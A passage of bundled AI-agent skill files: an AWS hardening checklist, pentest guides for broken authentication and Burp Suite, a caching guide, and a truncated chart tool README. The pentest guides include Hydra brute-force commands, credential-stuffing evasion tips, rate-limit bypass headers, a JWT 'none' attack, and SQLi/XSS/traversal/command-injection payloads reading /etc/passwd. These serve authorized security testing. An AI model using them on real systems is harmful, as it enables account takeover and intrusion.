Avoid use of root account\r\n- [ ] MFA enabled for all IAM users with console access\r\n- [ ] Disable credentials unused for 90+ days\r\n- [ ] Rotate access keys every 90 days\r\n- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars\r\n- [ ] No root access keys exist\r\n- [ ] MFA enabled for root account\r\n- [ ] IAM policies attached to groups/roles only\r\n\r\n### Logging\r\n- [ ] CloudTrail enabled in all regions\r\n- [ ] CloudTrail log file validation enabled\r\n- [ ] CloudTrail S3 bucket not publicly accessible\r\n- [ ] CloudTrail integrated with CloudWatch Logs\r\n- [ ] AWS Config enabled in all regions\r\n- [ ] CloudTrail logs encrypted with KMS\r\n- [ ] KMS key rotation enabled\r\n\r\n### Networking\r\n- [ ] No security groups allow 0.0.0.0/0 to port 22\r\n- [ ] No security groups allow 0.0.0.0/0 to port 3389\r\n- [ ] VPC flow logging enabled\r\n- [ ] Default security group restricts all traffic\r\n\r\n### Monitoring\r\n- [ ] Alarm for unauthorized API calls\r\n- [ ] Alarm for console sign-in without MFA\r\n- [ ] Alarm for root account usage\r\n- [ ] Alarm for IAM policy changes\r\n- [ ] Alarm for CloudTrail config changes\r\n- [ ] Alarm for console auth failures\r\n- [ ] Alarm for CMK disabling/deletion\r\n- [ ] Alarm for S3 bucket policy changes\r\n- [ ] Alarm for security group changes\r\n- [ ] Alarm for NACL changes\r\n- [ ] Alarm for VPC changes\r\n","skills/broken-authentication/SKILL.md":"---\nname: broken-authentication\ndescription: This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Broken Authentication Testing\n\n## Purpose\n\nIdentify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.\n\n## Prerequisites\n\n### Required Knowledge\n- HTTP protocol and session mechanisms\n- Authentication types (SFA, 2FA, MFA)\n- Cookie and token handling\n- Common authentication frameworks\n\n### Required Tools\n- Burp Suite Professional or Community\n- Hydra or similar brute-force tools\n- Custom wordlists for credential testing\n- Browser developer tools\n\n### Required Access\n- Target application URL\n- Test account credentials\n- Written authorization for testing\n\n## Outputs and Deliverables\n\n1. **Authentication Assessment Report** - Document all identified vulnerabilities\n2. **Credential Testing Results** - Brute-force and dictionary attack outcomes\n3. **Session Security Analysis** - Token randomness and timeout evaluation\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: Authentication Mechanism Analysis\n\nUnderstand the application's authentication architecture:\n\n```\n# Identify authentication type\n- Password-based (forms, basic auth, digest)\n- Token-based (JWT, OAuth, API keys)\n- Certificate-based (mutual TLS)\n- Multi-factor (SMS, TOTP, hardware tokens)\n\n# Map authentication endpoints\n/login, /signin, /authenticate\n/register, /signup\n/forgot-password, /reset-password\n/logout, /signout\n/api/auth/*, /oauth/*\n```\n\nCapture and analyze authentication requests:\n\n```http\nPOST /login HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nusername=test&password=test123\n```\n\n### Phase 2: Password Policy Testing\n\nEvaluate password requirements and enforcement:\n\n```bash\n# Test minimum length (a, ab, abcdefgh)\n# Test complexity (password, password1, Password1!)\n# Test common weak passwords (123456, password, qwerty, admin)\n# Test username as password (admin/admin, test/test)\n```\n\nDocument policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.\n\n### Phase 3: Credential Enumeration\n\nTest for username enumeration vulnerabilities:\n\n```bash\n# Compare responses for valid vs invalid usernames\n# Invalid: \"Invalid username\" vs Valid: \"Invalid password\"\n# Check timing differences, response codes, registration messages\n```\n\n# Password reset\n\"Email sent if account exists\" (secure)\n\"No account with that email\" (leaks info)\n\n# API responses\n{\"error\": \"user_not_found\"}\n{\"error\": \"invalid_password\"}\n```\n\n### Phase 4: Brute Force Testing\n\nTest account lockout and rate limiting:\n\n```bash\n# Using Hydra for form-based auth\nhydra -l admin -P /usr/share/wordlists/rockyou.txt \\\n  target.com http-post-form \\\n  \"/login:username=^USER^&password=^PASS^:Invalid credentials\"\n\n# Using Burp Intruder\n1. Capture login request\n2. Send to Intruder\n3. Set payload positions on password field\n4. Load wordlist\n5. Start attack\n6. Analyze response lengths/codes\n```\n\nCheck for protections:\n\n```bash\n# Account lockout\n- After how many attempts?\n- Duration of lockout?\n- Lockout notification?\n\n# Rate limiting\n- Requests per minute limit?\n- IP-based or account-based?\n- Bypass via headers (X-Forwarded-For)?\n\n# CAPTCHA\n- After failed attempts?\n- Easily bypassable?\n```\n\n### Phase 5: Credential Stuffing\n\nTest with known breached credentials:\n\n```bash\n# Credential stuffing differs from brute force\n# Uses known email:password pairs from breaches\n\n# Using Burp Intruder with Pitchfork attack\n1. Set username and password as positions\n2. Load email list as payload 1\n3. Load password list as payload 2 (matched pairs)\n4. Analyze for successful logins\n\n# Detection evasion\n- Slow request rate\n- Rotate source IPs\n- Randomize user agents\n- Add delays between attempts\n```\n\n### Phase 6: Session Management Testing\n\nAnalyze session token security:\n\n```bash\n# Capture session cookie\nCookie: SESSIONID=abc123def456\n\n# Test token characteristics\n1. Entropy - Is it random enough?\n2. Length - Sufficient length (128+ bits)?\n3. Predictability - Sequential patterns?\n4. Secure flags - HttpOnly, Secure, SameSite?\n```\n\nSession token analysis:\n\n```python\n#!/usr/bin/env python3\nimport requests\nimport hashlib\n\n# Collect multiple session tokens\ntokens = []\nfor i in range(100):\n    response = requests.get(\"https://target.com/login\")\n    token = response.cookies.get(\"SESSIONID\")\n    tokens.append(token)\n\n# Analyze for patterns\n# Check for sequential increments\n# Calculate entropy\n# Look for timestamp components\n```\n\n### Phase 7: Session Fixation Testing\n\nTest if session is regenerated after authentication:\n\n```bash\n# Step 1: Get session before login\nGET /login HTTP/1.1\nResponse: Set-Cookie: SESSIONID=abc123\n\n# Step 2: Login with same session\nPOST /login HTTP/1.1\nCookie: SESSIONID=abc123\nusername=valid&password=valid\n\n# Step 3: Check if session changed\n# VULNERABLE if SESSIONID remains abc123\n# SECURE if new session assigned after login\n```\n\nAttack scenario:\n\n```bash\n# Attacker workflow:\n1. Attacker visits site, gets session: SESSIONID=attacker_session\n2. Attacker sends link to victim with fixed session:\n   https://target.com/login?SESSIONID=attacker_session\n3. Victim logs in with attacker's session\n4. Attacker now has authenticated session\n```\n\n### Phase 8: Session Timeout Testing\n\nVerify session expiration policies:\n\n```bash\n# Test idle timeout\n1. Login and note session cookie\n2. Wait without activity (15, 30, 60 minutes)\n3. Attempt to use session\n4. Check if session is still valid\n\n# Test absolute timeout\n1. Login and continuously use session\n2. Check if forced logout after set period (8 hours, 24 hours)\n\n# Test logout functionality\n1. Login and note session\n2. Click logout\n3. Attempt to reuse old session cookie\n4. Session should be invalidated server-side\n```\n\n### Phase 9: Multi-Factor Authentication Testing\n\nAssess MFA implementation security:\n\n```bash\n# OTP brute force\n- 4-digit OTP = 10,000 combinations\n- 6-digit OTP = 1,000,000 combinations\n- Test rate limiting on OTP endpoint\n\n# OTP bypass techniques\n- Skip MFA step by direct URL access\n- Modify response to indicate MFA passed\n- Null/empty OTP submission\n- Previous valid OTP reuse\n\n# API Version Downgrade Attack (crAPI example)\n# If /api/v3/check-otp has rate limiting, try older versions:\nPOST /api/v2/check-otp\n{\"otp\": \"1234\"}\n# Older API versions may lack security controls\n\n# Using Burp for OTP testing\n1. Capture OTP verification request\n2. Send to Intruder\n3. Set OTP field as payload position\n4. Use numbers payload (0000-9999)\n5. Check for successful bypass\n```\n\nTest MFA enrollment:\n\n```bash\n# Forced enrollment\n- Can MFA be skipped during setup?\n- Can backup codes be accessed without verification?\n\n# Recovery process\n- Can MFA be disabled via email alone?\n- Social engineering potential?\n```\n\n### Phase 10: Password Reset Testing\n\nAnalyze password reset security:\n\n```bash\n# Token security\n1. Request password reset\n2. Capture reset link\n3. Analyze token:\n   - Length and randomness\n   - Expiration time\n   - Single-use enforcement\n   - Account binding\n\n# Token manipulation\nhttps://target.com/reset?token=abc123&user=victim\n# Try changing user parameter while using valid token\n\n# Host header injection\nPOST /forgot-password HTTP/1.1\nHost: attacker.com\nemail=victim@email.com\n# Reset email may contain attacker's domain\n```\n\n## Quick Reference\n\n### Common Vulnerability Types\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Weak passwords | High | Policy testing, dictionary attack |\n| No lockout | High | Brute force testing |\n| Username enumeration | Medium | Differential response analysis |\n| Session fixation | High | Pre/post-login session comparison |\n| Weak session tokens | High | Entropy analysis |\n| No session timeout | Medium | Long-duration session testing |\n| Insecure password reset | High | Token analysis, workflow bypass |\n| MFA bypass | Critical | Direct access, response manipulation |\n\n### Credential Testing Payloads\n\n```bash\n# Default credentials\nadmin:admin\nadmin:password\nadmin:123456\nroot:root\ntest:test\nuser:user\n\n# Common passwords\n123456\npassword\n12345678\nqwerty\nabc123\npassword1\nadmin123\n\n# Breached credential databases\n- Have I Been Pwned dataset\n- SecLists passwords\n- Custom targeted lists\n```\n\n### Session Cookie Flags\n\n| Flag | Purpose | Vulnerability if Missing |\n|------|---------|------------------------|\n| HttpOnly | Prevent JS access | XSS can steal session |\n| Secure | HTTPS only | Sent over HTTP |\n| SameSite | CSRF protection | Cross-site requests allowed |\n| Path | URL scope | Broader exposure |\n| Domain | Domain scope | Subdomain access |\n| Expires | Lifetime | Persistent sessions |\n\n### Rate Limiting Bypass Headers\n\n```http\nX-Forwarded-For: 127.0.0.1\nX-Real-IP: 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Avoid testing with real breached credentials\n- Do not access actual user accounts\n- Document all testing activities\n\n### Technical Limitations\n- CAPTCHA may prevent automated testing\n- Rate limiting affects brute force timing\n- MFA significantly increases attack difficulty\n- Some vulnerabilities require victim interaction\n\n### Scope Considerations\n- Test accounts may behave differently than production\n- Some features may be disabled in test environments\n- Third-party authentication may be out of scope\n- Production testing requires extra caution\n\n## Examples\n\n### Example 1: Account Lockout Bypass\n\n**Scenario:** Test if account lockout can be bypassed\n\n```bash\n# Step 1: Identify lockout threshold\n# Try 5 wrong passwords for admin account\n# Result: \"Account locked for 30 minutes\"\n\n# Step 2: Test bypass via IP rotation\n# Use X-Forwarded-For header\nPOST /login HTTP/1.1\nX-Forwarded-For: 192.168.1.1\nusername=admin&password=attempt1\n\n# Increment IP for each attempt\nX-Forwarded-For: 192.168.1.2\n# Continue until successful or confirmed blocked\n\n# Step 3: Test bypass via case manipulation\nusername=Admin (vs admin)\nusername=ADMIN\n# Some systems treat these as different accounts\n```\n\n### Example 2: JWT Token Attack\n\n**Scenario:** Exploit weak JWT implementation\n\n```bash\n# Step 1: Capture JWT token\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature\n\n# Step 2: Decode and analyze\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"user\":\"test\",\"role\":\"user\"}\n\n# Step 3: Try \"none\" algorithm attack\n# Change header to: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Remove signature\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.\n\n# Step 4: Submit modified token\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.\n```\n\n### Example 3: Password Reset Token Exploitation\n\n**Scenario:** Test password reset functionality\n\n```bash\n# Step 1: Request reset for test account\nPOST /forgot-password\nemail=test@example.com\n\n# Step 2: Capture reset link\nhttps://target.com/reset?token=a1b2c3d4e5f6\n\n# Step 3: Test token properties\n# Reuse: Try using same token twice\n# Expiration: Wait 24+ hours and retry\n# Modification: Change characters in token\n\n# Step 4: Test for user parameter manipulation\nhttps://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com\n# Check if admin's password can be reset with test user's token\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |\n| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |\n| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |\n| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |\n","skills/burp-suite-testing/SKILL.md":"---\nname: burp-suite-testing\ndescription: This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Burp Suite Web Application Testing\n\n## Purpose\n\nExecute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.\n\n## Inputs / Prerequisites\n\n### Required Tools\n- Burp Suite Community or Professional Edition installed\n- Burp's embedded browser or configured external browser\n- Target web application URL\n- Valid credentials for authenticated testing (if applicable)\n\n### Environment Setup\n- Burp Suite launched with temporary or named project\n- Proxy listener active on 127.0.0.1:8080 (default)\n- Browser configured to use Burp proxy (or use Burp's browser)\n- CA certificate installed for HTTPS interception\n\n### Editions Comparison\n| Feature | Community | Professional |\n|---------|-----------|--------------|\n| Proxy | ✓ | ✓ |\n| Repeater | ✓ | ✓ |\n| Intruder | Limited | Full |\n| Scanner | ✗ | ✓ |\n| Extensions | ✓ | ✓ |\n\n## Outputs / Deliverables\n\n### Primary Outputs\n- Intercepted and modified HTTP requests/responses\n- Vulnerability scan reports with remediation advice\n- HTTP history and site map documentation\n- Proof-of-concept exploits for identified vulnerabilities\n\n## Core Workflow\n\n### Phase 1: Intercepting HTTP Traffic\n\n#### Launch Burp's Browser\nNavigate to integrated browser for seamless proxy integration:\n\n1. Open Burp Suite and create/open project\n2. Go to **Proxy > Intercept** tab\n3. Click **Open Browser** to launch preconfigured browser\n4. Position windows to view both Burp and browser simultaneously\n\n#### Configure Interception\nControl which requests are captured:\n\n```\nProxy > Intercept > Intercept is on/off toggle\n\nWhen ON: Requests pause for review/modification\nWhen OFF: Requests pass through, logged to history\n```\n\n#### Intercept and Forward Requests\nProcess intercepted traffic:\n\n1. Set intercept toggle to **Intercept on**\n2. Navigate to target URL in browser\n3. Observe request held in Proxy > Intercept tab\n4. Review request contents (headers, parameters, body)\n5. Click **Forward** to send request to server\n6. Continue forwarding subsequent requests until page loads\n\n#### View HTTP History\nAccess complete traffic log:\n\n1. Go to **Proxy > HTTP history** tab\n2. Click any entry to view full request/response\n3. Sort by clicking column headers (# for chronological order)\n4. Use filters to focus on relevant traffic\n\n### Phase 2: Modifying Requests\n\n#### Intercept and Modify\nChange request parameters before forwarding:\n\n1. Enable interception: **Intercept on**\n2. Trigger target request in browser\n3. Locate parameter to modify in intercepted request\n4. Edit value directly in request editor\n5. Click **Forward** to send modified request\n\n#### Common Modification Targets\n| Target | Example | Purpose |\n|--------|---------|---------|\n| Price parameters | `price=1` | Test business logic |\n| User IDs | `userId=admin` | Test access control |\n| Quantity values | `qty=-1` | Test input validation |\n| Hidden fields | `isAdmin=true` | Test privilege escalation |\n\n#### Example: Price Manipulation\n\n```http\nPOST /cart HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nproductId=1&quantity=1&price=100\n\n# Modify to:\nproductId=1&quantity=1&price=1\n```\n\nResult: Item added to cart at modified price.\n\n### Phase 3: Setting Target Scope\n\n#### Define Scope\nFocus testing on specific target:\n\n1. Go to **Target > Site map**\n2. Right-click target host in left panel\n3. Select **Add to scope**\n4. When prompted, click **Yes** to exclude out-of-scope traffic\n\n#### Filter by Scope\nRemove noise from HTTP history:\n\n1. Click display filter above HTTP history\n2. Select **Show only in-scope items**\n3. History now shows only target site traffic\n\n#### Scope Benefits\n- Reduces clutter from third-party requests\n- Prevents accidental testing of out-of-scope sites\n- Improves scanning efficiency\n- Creates cleaner reports\n\n### Phase 4: Using Burp Repeater\n\n#### Send Request to Repeater\nPrepare request for manual testing:\n\n1. Identify interesting request in HTTP history\n2. Right-click request and select **Send to Repeater**\n3. Go to **Repeater** tab to access request\n\n#### Modify and Resend\nTest different inputs efficiently:\n\n```\n1. View request in Repeater tab\n2. Modify parameter values\n3. Click Send to submit request\n4. Review response in right panel\n5. Use navigation arrows to review request history\n```\n\n#### Repeater Testing Workflow\n\n```\nOriginal Request:\nGET /product?productId=1 HTTP/1.1\n\nTest 1: productId=2    → Valid product response\nTest 2: productId=999  → Not Found response  \nTest 3: productId='    → Error/exception response\nTest 4: productId=1 OR 1=1 → SQL injection test\n```\n\n#### Analyze Responses\nLook for indicators of vulnerabilities:\n\n- Error messages revealing stack traces\n- Framework/version information disclosure\n- Different response lengths indicating logic flaws\n- Timing differences suggesting blind injection\n- Unexpected data in responses\n\n### Phase 5: Running Automated Scans\n\n#### Launch New Scan\nInitiate vulnerability scanning (Professional only):\n\n1. Go to **Dashboard** tab\n2. Click **New scan**\n3. Enter target URL in **URLs to scan** field\n4. Configure scan settings\n\n#### Scan Configuration Options\n\n| Mode | Description | Duration |\n|------|-------------|----------|\n| Lightweight | High-level overview | ~15 minutes |\n| Fast | Quick vulnerability check | ~30 minutes |\n| Balanced | Standard comprehensive scan | ~1-2 hours |\n| Deep | Thorough testing | Several hours |\n\n#### Monitor Scan Progress\nTrack scanning activity:\n\n1. View task status in **Dashboard**\n2. Watch **Target > Site map** update in real-time\n3. Check **Issues** tab for discovered vulnerabilities\n\n#### Review Identified Issues\nAnalyze scan findings:\n\n1. Select scan task in Dashboard\n2. Go to **Issues** tab\n3. Click issue to view:\n   - **Advisory**: Description and remediation\n   - **Request**: Triggering HTTP request\n   - **Response**: Server response showing vulnerability\n\n### Phase 6: Intruder Attacks\n\n#### Configure Intruder\nSet up automated attack:\n\n1. Send request to Intruder (right-click > Send to Intruder)\n2. Go to **Intruder** tab\n3. Define payload positions using § markers\n4. Select attack type\n\n#### Attack Types\n\n| Type | Description | Use Case |\n|------|-------------|----------|\n| Sniper | Single position, iterate payloads | Fuzzing one parameter |\n| Battering ram | Same payload all positions | Credential testing |\n| Pitchfork | Parallel payload iteration | Username:password pairs |\n| Cluster bomb | All payload combinations | Full brute force |\n\n#### Configure Payloads\n\n```\nPositions Tab:\nPOST /login HTTP/1.1\n...\nusername=§admin§&password=§password§\n\nPayloads Tab:\nSet 1: admin, user, test, guest\nSet 2: password, 123456, admin, letmein\n```\n\n#### Analyze Results\nReview attack output:\n\n- Sort by response length to find anomalies\n- Filter by status code for successful attempts\n- Use grep to search for specific strings\n- Export results for documentation\n\n## Quick Reference\n\n### Keyboard Shortcuts\n| Action | Windows/Linux | macOS |\n|--------|---------------|-------|\n| Forward request | Ctrl+F | Cmd+F |\n| Drop request | Ctrl+D | Cmd+D |\n| Send to Repeater | Ctrl+R | Cmd+R |\n| Send to Intruder | Ctrl+I | Cmd+I |\n| Toggle intercept | Ctrl+T | Cmd+T |\n\n### Common Testing Payloads\n\n```\n# SQL Injection\n' OR '1'='1\n' OR '1'='1'--\n1 UNION SELECT NULL--\n\n# XSS\n<script>alert(1)</script>\n\"><img src=x onerror=alert(1)>\njavascript:alert(1)\n\n# Path Traversal\n../../../etc/passwd\n..\\..\\..\\..\\windows\\win.ini\n\n# Command Injection\n; ls -la\n| cat /etc/passwd\n`whoami`\n```\n\n### Request Modification Tips\n- Right-click for context menu options\n- Use decoder for encoding/decoding\n- Compare requests using Comparer tool\n- Save interesting requests to project\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Test only authorized applications\n- Configure scope to prevent accidental out-of-scope testing\n- Rate-limit scans to avoid denial of service\n- Document all findings and actions\n\n### Technical Limitations\n- Community Edition lacks automated scanner\n- Some sites may block proxy traffic\n- HSTS/certificate pinning may require additional configuration\n- Heavy scanning may trigger WAF blocks\n\n### Best Practices\n- Always set target scope before extensive testing\n- Use Burp's browser for reliable interception\n- Save project regularly to preserve work\n- Review scan results manually for false positives\n\n## Examples\n\n### Example 1: Business Logic Testing\n\n**Scenario**: E-commerce price manipulation\n\n1. Add item to cart normally, intercept request\n2. Identify `price=9999` parameter in POST body\n3. Modify to `price=1`\n4. Forward request\n5. Complete checkout at manipulated price\n\n**Finding**: Server trusts client-provided price values.\n\n### Example 2: Authentication Bypass\n\n**Scenario**: Testing login form\n\n1. Submit valid credentials, capture request in Repeater\n2. Send to Repeater for testing\n3. Try: `username=admin' OR '1'='1'--`\n4. Observe successful login response\n\n**Finding**: SQL injection in authentication.\n\n### Example 3: Information Disclosure\n\n**Scenario**: Error-based information gathering\n\n1. Navigate to product page, observe `productId` parameter\n2. Send request to Repeater\n3. Change `productId=1` to `productId=test`\n4. Observe verbose error revealing framework version\n\n**Finding**: Apache Struts 2.5.12 disclosed in stack trace.\n\n## Troubleshooting\n\n### Browser Not Connecting Through Proxy\n- Verify proxy listener is active (Proxy > Options)\n- Check browser proxy settings point to 127.0.0.1:8080\n- Ensure no firewall blocking local connections\n- Use Burp's embedded browser for reliable setup\n\n### HTTPS Interception Failing\n- Install Burp CA certificate in browser/system\n- Navigate to http://burp to download certificate\n- Add certificate to trusted roots\n- Restart browser after installation\n\n### Slow Performance\n- Limit scope to reduce processing\n- Disable unnecessary extensions\n- Increase Java heap size in startup options\n- Close unused Burp tabs and features\n\n### Requests Not Being Intercepted\n- Verify \"Intercept on\" is enabled\n- Check intercept rules aren't filtering target\n- Ensure browser is using Burp proxy\n- Verify target isn't using unsupported protocol\n","skills/caching/SKILL.md":"---\nname: caching\ndescription: Caching strategies — invalidation, TTL guidelines, cache keys, cache layers, and when not to cache. Use when implementing or reviewing caching logic.\n---\n## WHEN_TO_USE\n\n- When implementing a cache layer (in-memory, Redis, CDN) for an API or service.\n- When choosing TTL values or invalidation strategies for cached data.\n- When designing cache key schemas to avoid collisions or stale-data bugs.\n- When reviewing code that reads from or writes to any cache.\n- When debugging stale data, cache stampedes, or inconsistent responses.\n- When configuring TanStack Query `staleTime`/`gcTime` for client-side caching.\n\n## INVALIDATION\n\n- [P0-MUST] Define an invalidation strategy for every cache. Stale data is worse than no cache.\n- [P0-MUST] Invalidate caches when the underlying data changes — do not rely solely on TTL expiry.\n- [P1-SHOULD] Prefer event-driven invalidation (on write/update/delete) over time-based expiry alone.\n- [P1-SHOULD] Use cache versioning (include a version key) when data schemas change.\n\n## TTL_GUIDELINES\n\n- [P1-SHOULD] Set TTLs based on data volatility: static config (hours/days), user profiles (minutes), real-time data (seconds or no cache).\n- [P1-SHOULD] Use stale-while-revalidate: serve stale data immediately while refreshing in the background.\n- [P2-MAY] Use shorter TTLs in development and longer TTLs in production.\n\n## CACHE_KEYS\n\n- [P0-MUST] Include all query parameters that affect the result in the cache key.\n- [P1-SHOULD] Use a consistent key format: `<entity>:<id>:<variant>` (e.g., `user:123:profile`, `products:list:page=2`).\n- [P1-SHOULD] Namespace keys by service or module to prevent collisions.\n- [P2-MAY] Hash long or complex keys to keep storage efficient.\n\n## CACHE_LAYERS\n\n- [P1-SHOULD] Use the appropriate cache layer for the use case:\n\n| Layer | Best For | TTL Range |\n|-------|----------|-----------|\n| In-memory (Map, LRU) | Hot data, single-instance apps | Seconds to minutes |\n| Redis / Memcached | Shared cache across instances, sessions | Minutes to hours |\n| CDN / Edge | Static assets, public API responses | Hours to days |\n| HTTP cache headers | Browser caching, API responses | Varies by resource |\n\n- [P1-SHOULD] Layer caches: check memory → Redis → origin. Write-through on miss.\n\n## WHEN_NOT_TO_CACHE\n\n- [P0-MUST] Do not cache user-specific sensitive data (auth tokens, payment info) in shared caches.\n- [P1-SHOULD] Do not cache rapidly changing data where staleness causes incorrect behavior (inventory counts, real-time pricing).\n- [P1-SHOULD] Do not cache error responses — use short TTL or skip caching on failure.\n- [P2-MAY] Avoid caching when the computation is cheap and the data set is small.\n\n## CODE_EXAMPLES\n\n### In-memory LRU cache with TTL\n\n```ts\nconst cache = new Map<string, { value: unknown; expires: number }>();\nconst MAX_SIZE = 500;\n\nexport function getOrSet<T>(key: string, ttlMs: number, compute: () => T): T {\n  const entry = cache.get(key);\n  if (entry && entry.expires > Date.now()) return entry.value as T;\n\n  const value = compute();\n  if (cache.size >= MAX_SIZE) {\n    // Evict oldest entry (first inserted)\n    const oldest = cache.keys().next().value!;\n    cache.delete(oldest);\n  }\n  cache.set(key, { value, expires: Date.now() + ttlMs });\n  return value;\n}\n```\n\n### Redis stale-while-revalidate with ioredis\n\n```ts\nimport Redis from \"ioredis\";\nconst redis = new Redis(process.env.REDIS_URL);\n\nexport async function swr<T>(\n  key: string,\n  freshSec: number,\n  staleSec: number,\n  fetcher: () => Promise<T>,\n): Promise<T> {\n  const raw = await redis.get(key);\n  if (raw) {\n    const { value, createdAt } = JSON.parse(raw) as { value: T; createdAt: number };\n    const ageMs = Date.now() - createdAt;\n    if (ageMs < freshSec * 1000) return value; // Fresh — return immediately\n    if (ageMs < staleSec * 1000) {\n      // Stale — return cached, refresh in background\n      fetcher().then((v) =>\n        redis.set(key, JSON.stringify({ value: v, createdAt: Date.now() }), \"EX\", staleSec),\n      );\n      return value;\n    }\n  }\n  const value = await fetcher();\n  await redis.set(key, JSON.stringify({ value, createdAt: Date.now() }), \"EX\", staleSec);\n  return value;\n}\n```\n\n### HTTP cache headers in Express/Hono\n\n```ts\n// Immutable assets (hashed filenames)\napp.use(\"/assets\", (_, res, next) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=31536000, immutable\");\n  next();\n});\n\n// API responses — short cache with revalidation\napp.get(\"/api/products\", (_, res) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=60, stale-while-revalidate=300\");\n  res.json(products);\n});\n```\n\n### TanStack Query cache configuration\n\n```tsx\nimport { QueryClient, QueryClientProvider } from \"@tanstack/react-query\";\n\nconst queryClient = new QueryClient({\n  defaultOptions: {\n    queries: {\n      staleTime: 5 * 60 * 1000, // Data fresh for 5 minutes\n      gcTime: 30 * 60 * 1000,   // Garbage-collect after 30 minutes\n      retry: 2,\n      refetchOnWindowFocus: false,\n    },\n  },\n});\n\n// Usage in a component\nconst { data } = useQuery({\n  queryKey: [\"products\", { page, category }], // Cache key includes params\n  queryFn: () => fetchProducts({ page, category }),\n});\n```\n\n## ANTI_PATTERNS\n\n- **Cache-and-forget** — Caching data with no invalidation strategy. Data goes stale permanently.\n  - Instead: define explicit invalidation (event-driven on write, or bounded TTL) for every cache key.\n\n- **Uniform TTL** — Using the same TTL (e.g., 1 hour) for all data regardless of volatility.\n  - Instead: match TTL to data change frequency — seconds for prices, minutes for profiles, hours for configs.\n\n- **Missing key parameters** — Cache key omits user ID, locale, or query params, serving wrong data.\n  - Instead: include every parameter that affects the result: `products:list:page=2:locale=en`.\n\n- **Caching errors** — Storing error responses (500s, timeouts) with long TTLs.\n  - Instead: skip caching on failure, or use a very short TTL (5-10 seconds) to allow fast retry.\n\n- **Cache stampede** — All instances hit the origin simultaneously when a popular key expires.\n  - Instead: use stale-while-revalidate, jittered TTLs, or a mutex lock to let one instance refresh.\n","skills/chart-image/README.md":"# 📊 chart-image\n\n**Publication-quality chart images from data. No browser, no Puppeteer, no native compilation.**\n\nGenerate beautiful PNG charts directly from JSON data — perfect for bots, dashboards, alerts, and automated reports. Runs anywhere Node.js runs.\n\n![Line chart example](readme-assets/framed-line.png)\n\n## Why chart-image?\n\nMost chart libraries need a browser (Puppeteer, Playwright) or native dependencies (`canvas`, `cairo`). That means 400MB+ installs, painful Docker builds, and slow cold starts.\n\n**chart-image uses Vega-Lite + Sharp with prebuilt binaries:**\n\n| | chart-image | Puppeteer + Chart.js | QuickChart.io |\n|---|---|---|---|\n| **Install size** | ~15MB | ~400MB+ | 0 (API) |\n| **Native deps** | None | Chromium | N/A |\n| **Cold start** | <500ms | 2-5s | Network latency |\n| **Offline** | ✅ | ✅ | ❌ |\n| **Fly.io/Docker** | Just works | Pain | Depends on uptime |\n\n## Install\n\n### Via ClawHub (recommended)\n```bash\nclawhub install chart-image\n```\n\n### Manual\n```bash\ngit clone https://github.com/Cluka-399/chart-image.git skills/chart-image\ncd skills/chart-image/scripts && npm install\n```\n\n## Quick Start\n\n```bash\nnode scripts/chart.mjs \\\n  --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":10},{\"x\":\"Tue\",\"y\":25},{\"x\":\"Wed\",\"y\":18}]' \\\n  --title \"Weekly Trend\" \\\n  --dark \\\n  --output chart.png\n```\n\nThat's it. One command, one PNG.\n\n---\n\n## Chart Types\n\n### 📈 Line Chart\n\nTrack trends over time. The default chart type.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":142},{\"x\":\"Tue\",\"y\":148},{\"x\":\"Wed\",\"y\":145},{\"x\":\"Thu\",\"y\":155},{\"x\":\"Fri\",\"y\":162}]' \\\n  --title \"AAPL Weekly Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --output chart.png\n```\n\n![Line chart](readme-assets/framed-line.png)\n\n### 📊 Bar Chart\n\nCompare categories side by side.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data 